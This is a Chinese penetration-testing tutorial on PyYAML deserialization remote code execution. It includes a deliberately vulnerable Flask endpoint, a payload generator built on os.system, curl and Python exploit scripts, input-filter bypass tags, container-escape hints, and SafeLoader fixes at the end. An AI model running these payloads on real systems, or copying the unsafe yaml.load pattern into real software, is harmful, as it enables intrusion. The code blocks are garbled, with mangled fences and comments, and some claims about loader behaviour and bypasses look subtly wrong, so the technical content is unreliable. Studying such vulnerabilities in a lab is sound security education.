一、从架构缺陷到漏洞利用:反序列化问题的根源
在许多现代软件中,开发者为了解决数据在不同模块或系统之间传递的兼容性问题,常使用序列化(Serialization)和反序列化(Deserialization)。序列化将复杂的对象转换为字节流,便于存储或在网络中传输;反序列化则是将字节流还原成对象。然而,正是这种数据操作逻辑的开放性,为攻击者埋下了伏笔。
为什么会有风险?想象一下,你开发的系统接受了一个来自外部用户的数据包,并将其直接反序列化为对象。如果攻击者在这个数据包中嵌入了恶意代码,系统就可能在反序列化过程中执行这些代码,最终导致远程命令执行(RCE)等严重后果。
漏洞成因:信任不是盔甲
反序列化漏洞的根源在于对传入数据的过度信任,具体体现在以下几个方面:
- 未验证输入:开发者直接反序列化了来自外部的未经验证的字节流。
- 使用有漏洞的库:某些第三方库在反序列化时会自动解析嵌套的恶意对象。
- 危险的Gadget链:攻击者可以利用目标代码中已存在的类和函数组合,构造恶意的执行链条。
典型的攻击路径是:攻击者通过发送恶意的序列化数据,引导服务器在反序列化时加载恶意对象并触发其代码执行,从而远程控制目标系统。
---
二、搭建你的实验室:反序列化漏洞的战场
学习反序列化攻击,离不开一个干净的实验环境。为了实现完全可控的渗透测试,我们选择使用 Python 和 Flask 框架搭建一个小型的 Web 演示系统。
环境准备清单
我们需要以下工具和依赖:
- Python >=3.8
- Flask Web框架
- PyYAML(反序列化漏洞的关键库)
- Kali Linux 或自定义渗透测试环境
Flask 应用代码:存在反序列化漏洞的后端
以下是一个脆弱的 Flask 应用示例,演示了如何通过 PyYAML 的 yaml.load 触发反序列化漏洞。
<pre><code class="language-python"># vulnerable_server.py from flask import Flask, request import yaml
app = Flask(__name__)
@app.route('/deserialize', methods=['POST']) def unsafe_deserialize():
从请求中获取 YAML 数据
data = request.data.decode('utf-8') try:
直接反序列化用户输入(危险操作)
obj = yaml.load(data, Loader=yaml.FullLoader) return f"Deserialized object: {obj}", 200 except Exception as e: return f"Error during deserialization: {str(e)}", 500
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)</code></pre>
启动受害者服务
- 安装依赖:
- 启动 Flask 服务:
<pre><code class="language-bash"> pip install flask pyyaml `
`bash python vulnerable_server.py ` 受害者服务会在 http://0.0.0.0:5000 上监听。
攻击者工具:创建一个恶意 Payload
为了模拟攻击者的行为,我们需要构造一个 YAML 格式的恶意数据。以下是一个简单的示例,利用 Python 的 os.system() 执行命令。 </code></pre>python
malicious_payload.py
import yaml
构造一个恶意对象,通过 os.system 执行任意命令
class Exploit: def __reduce__(self): import os return (os.system, ('whoami',))

序列化成 YAML 格式
payload = yaml.dump(Exploit())
保存到文件或直接打印
with open('payload.yml', 'w') as f: f.write(payload)
print("Malicious payload generated:") print(payload) <pre><code> 运行上述脚本后会生成一个类似以下内容的 YAML:</code></pre>yaml !!python/object/apply:os.system
- whoami
<pre><code> ---
三、当用户输入变成武器:漏洞利用全过程
有了恶意的 Payload,我们现在可以向受害者服务发送特制的请求。以下是利用过程的详细步骤。
利用 Payload 攻击服务器
- 发送恶意数据
使用 curl 或 Python 脚本将 Payload 发送到目标服务:</code></pre>bash curl -X POST -d "@payload.yml" http://<target-ip>:5000/deserialize <pre><code> 或者用 Python 脚本:</code></pre>python
exploit.py
import requests
url = "http://<target-ip>:5000/deserialize"
从文件读取 Payload
with open("payload.yml", "r") as f: data = f.read()
response = requests.post(url, data=data) print("Server response:") print(response.text) <pre><code>
- 观察目标服务器的行为
如果攻击成功,目标服务器会执行 whoami 命令,并在响应中返回攻击结果。
---
四、突破防线:绕过常见安全机制
在实际攻击场景中,目标服务器可能有一定的防御措施,比如:
- 输入过滤:限制 YAML 数据中可用的标签或对象。
- 沙盒环境:将应用运行在隔离的容器中,限制危险函数的调用。
以下是几种常见的绕过技巧:
绕过输入过滤
如果目标服务器限制了 !!python/object/apply 标签,可以尝试其他形式的序列化标签,比如:</code></pre>yaml !!python/name:os.system
- ls
`
或者利用多层嵌套对象,隐藏恶意代码的入口点。

绕过沙盒
如果目标系统使用了容器化技术(如 Docker),攻击者可以尝试:
- 逃逸容器限制:利用已知的 Docker 沙盒逃逸漏洞。
- 利用文件系统:查找系统中残留的敏感文件,如
/etc/passwd。
---
五、知己知彼:检测与修复的策略
如何检测反序列化漏洞?
为了检测系统是否存在反序列化漏洞,可以采用以下方法:
- 代码审计:检查代码中是否直接接受用户输入并传递给反序列化函数。
- 动态分析:使用 Fuzzing 工具向目标服务发送各种特制的 Payload,观察其响应。
- 日志分析:在服务器日志中查找异常的 YAML 输入。
修复建议
- 禁用危险函数
- 验证输入
- 最小化权限
使用安全的反序列化方法,比如 PyYAML 的 SafeLoader: `python obj = yaml.load(data, Loader=yaml.SafeLoader) `
在反序列化之前验证数据格式和内容,确保其只包含预期的字段。
将应用运行在最小权限的环境中,限制其对系统的破坏能力。
---
六、我的实战经验:红与蓝的对抗艺术
在以往的渗透测试中,我多次利用反序列化漏洞成功突破目标系统的防线。以下是一些经验之谈:
- 从第三方库入手:反序列化漏洞往往与框架或库的实现直接相关,挖掘这些组件的历史漏洞会事半功倍。
- 武器化思维:如果目标系统允许自定义的对象,那么可以利用已有的 Gadget 链快速构造 Payload。
- 关注细节:即使某些输入过滤看似严密,往往仍会有绕过的可能。例如,将恶意代码拆分成多段,利用序列化协议的特性重新组合。
反序列化漏洞是一个非常经典的攻击手段,但它的变种与场景千变万化,需要不断实践和探索。希望这篇文章能为你的渗透测试之旅提供一些启发!
